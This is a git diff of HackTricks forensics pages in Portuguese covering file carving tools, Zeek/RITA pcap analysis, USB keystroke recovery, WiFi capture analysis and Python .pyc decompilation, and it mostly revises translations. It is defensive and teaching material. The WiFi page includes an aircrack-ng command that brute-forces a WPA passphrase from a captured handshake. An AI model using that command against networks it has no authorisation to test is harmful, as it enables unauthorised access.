-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -18,12 +18,12 @@ Aprenda e pratique GCP Hacking: -**Binwalk** é uma ferramenta para buscar arquivos binários como imagens e arquivos de áudio para encontrar arquivos e dados embutidos. -Pode ser instalado com `apt`, no entanto, a [fonte](https://github.com/ReFirmLabs/binwalk) pode ser encontrada no github. +**Binwalk** é uma ferramenta para buscar arquivos binários como imagens e arquivos de áudio em busca de arquivos e dados incorporados. +Pode ser instalado com `apt`, no entanto, a [fonte](https://github.com/ReFirmLabs/binwalk) pode ser encontrada no github. **Comandos úteis**: ```bash sudo apt install binwalk #Insllation @@ -33,7 +33,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ## Foremost -Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Se você não descomentar nada, o foremost procurará pelos tipos de arquivos configurados por padrão. +Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivos configurados por padrão. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -41,55 +41,53 @@ foremost -v -i file.img -o output ``` ## **Scalpel** -**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração \(_/etc/scalpel/scalpel.conf_\) os tipos de arquivo que deseja extrair. +**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração \(_/etc/scalpel/scalpel.conf_\) os tipos de arquivo que deseja que ele extraia. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` ## Bulk Extractor -Esta ferramenta vem dentro do kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) +Esta ferramenta vem dentro do kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) -Esta ferramenta pode escanear uma imagem e irá **extrair pcaps** dentro dela, **informações de rede\(URLs, domínios, IPs, MACs, e-mails\)** e mais **arquivos**. Você só precisa fazer: +Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer: ```text bulk_extractor memory.img -o out_folder ``` -Navegue por **todas as informações** que a ferramenta coletou \(senhas?\), **analise** os **pacotes** \(leia [**Análise de Pcaps**](../pcap-inspection/)\), procure por **domínios estranhos** \(domínios relacionados a **malware** ou **não existentes**\). +Navegue por **todas as informações** que a ferramenta coletou \(senhas?\), **analise** os **pacotes** \(leia[ **análise de Pcaps**](../pcap-inspection/)\), procure por **domínios estranhos** \(domínios relacionados a **malware** ou **inexistentes**\). ## PhotoRec Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivo** que deseja que o PhotoRec pesquise. +Ele vem com versão GUI e CLI. Você pode selecionar os **tipos de arquivo** que deseja que o PhotoRec procure. ![](../../../.gitbook/assets/image%20%28524%29.png) -# Ferramentas Específicas de Escultura de Dados +# Ferramentas Específicas de Carving de Dados ## FindAES -Procura por chaves AES pesquisando por suas tabelas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. +Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. Baixe [aqui](https://sourceforge.net/projects/findaes/). -# Ferramentas complementares - -Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal. -Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para transformar um PDF em texto e lê-lo. - +# Ferramentas Complementares +Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal. +Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo. {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index 66f31f4c7..fdefcd63e 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,16 +1,16 @@ # Inspeção de Pcap {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -22,12 +22,12 @@ Aprenda e pratique GCP Hacking: [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas. +> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio da segurança, incluindo medição de desempenho e solução de problemas. Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão. + +### Informações de Conexões ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,7 +203,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` -### Informações de DNS +### Informações DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -218,7 +220,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` -## Outros truques de análise de pcap +## Outras dicas de análise de pcap {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) @@ -246,11 +248,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 86c71ff09..84a20e551 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,19 +1,3 @@ -{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -Apoie o HackTricks - -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} - - Se você tiver um pcap de uma conexão USB com muitas interrupções, provavelmente é uma conexão de teclado USB. Um filtro do wireshark como este pode ser útil: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` @@ -24,20 +8,3 @@ Você pode ler mais informações e encontrar alguns scripts sobre como analisar * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - - - -{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -Apoie o HackTricks - -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 92bf658ca..c88da3d76 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,20 +1,20 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -Se você tiver um arquivo pcap contendo a comunicação via USB de um teclado como o seguinte: +Se você tiver um pcap contendo a comunicação via USB de um teclado como o seguinte: ![](<../../../.gitbook/assets/image (613).png>) @@ -23,23 +23,23 @@ Você pode usar a ferramenta [**ctf-usb-keyboard-parser**](https://github.com/ca tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` -Pode encontrar mais informações e alguns scripts sobre como analisar isso em: +Você pode ler mais informações e encontrar alguns scripts sobre como analisar isso em: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) {% hint style="success" %} -Aprenda e pratique Hacking em AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking em GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index eed889cd9..04b965d12 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,19 +1,20 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -# Verificar BSSIDs + +# Verifique os BSSIDs Quando você recebe uma captura cujo tráfego principal é Wifi usando o WireShark, você pode começar a investigar todos os SSIDs da captura com _Wireless --> WLAN Traffic_: @@ -23,13 +24,15 @@ Quando você recebe uma captura cujo tráfego principal é Wifi usando o WireSha ## Força Bruta -Uma das colunas dessa tela indica se **alguma autenticação foi encontrada dentro do pcap**. Se for o caso, você pode tentar força bruta usando `aircrack-ng`: +Uma das colunas daquela tela indica se **alguma autenticação foi encontrada dentro do pcap**. Se esse for o caso, você pode tentar forçar a autenticação usando `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` -# Dados nos Beacons / Canal Lateral +Por exemplo, ele irá recuperar a senha WPA que protege uma PSK (chave pré-compartilhada), que será necessária para descriptografar o tráfego mais tarde. -Se suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NOMEdaREDE"` e procurar dentro dos pacotes filtrados por strings suspeitas. +# Dados em Beacons / Canal Lateral + +Se você suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` para procurar dentro dos pacotes filtrados por strings suspeitas. # Encontrar Endereços MAC Desconhecidos em uma Rede Wifi @@ -37,12 +40,31 @@ O seguinte link será útil para encontrar as **máquinas enviando dados dentro * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -Se você já conhece os **endereços MAC, pode removê-los da saída** adicionando verificações como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Se você já conhece **endereços MAC, pode removê-los da saída** adicionando verificações como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Uma vez que você tenha detectado **endereços MAC desconhecidos** comunicando-se dentro da rede, você pode usar **filtros** como o seguinte: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar seu tráfego. Note que os filtros ftp/http/ssh/telnet são úteis se você tiver descriptografado o tráfego. +Uma vez que você tenha detectado **endereços MAC desconhecidos** se comunicando dentro da rede, você pode usar **filtros** como o seguinte: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar seu tráfego. Note que os filtros ftp/http/ssh/telnet são úteis se você tiver descriptografado o tráfego. # Descriptografar Tráfego -Editar --> Preferências --> Protocolos --> IEEE 802.11 --> Editar +Edite --> Preferências --> Protocolos --> IEEE 802.11--> Editar ![](<../../../.gitbook/assets/image (426).png>) + + + + + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Suporte ao HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 298560fb4..dee40f125 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,29 +1,29 @@ # Decompile compiled python binaries (exe, elf) - Retreive from .pyc {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
-**Bug bounty tip**: **inscreva-se** para **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! +**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## From Compiled Binary to .pyc +## De Binário Compilado para .pyc -De um **binário ELF** compilado você pode **obter o .pyc** com: +De um binário compilado **ELF** você pode **obter o .pyc** com: ```bash pyi-archive_viewer # The list of python modules will be given here: @@ -73,7 +73,7 @@ O **número mágico** neste caso para python3.8 é **`0x550d0d0a`**, então, par **Uma vez** que você tenha **adicionado** esse cabeçalho mágico, o **erro deve ser corrigido.** -Assim é como um **cabeçalho mágico .pyc python3.8** corretamente adicionado ficará: +Assim é como um **.pyc python3.8 magic header** corretamente adicionado ficará: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index d9e09eede..82e086caa 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,20 +1,20 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
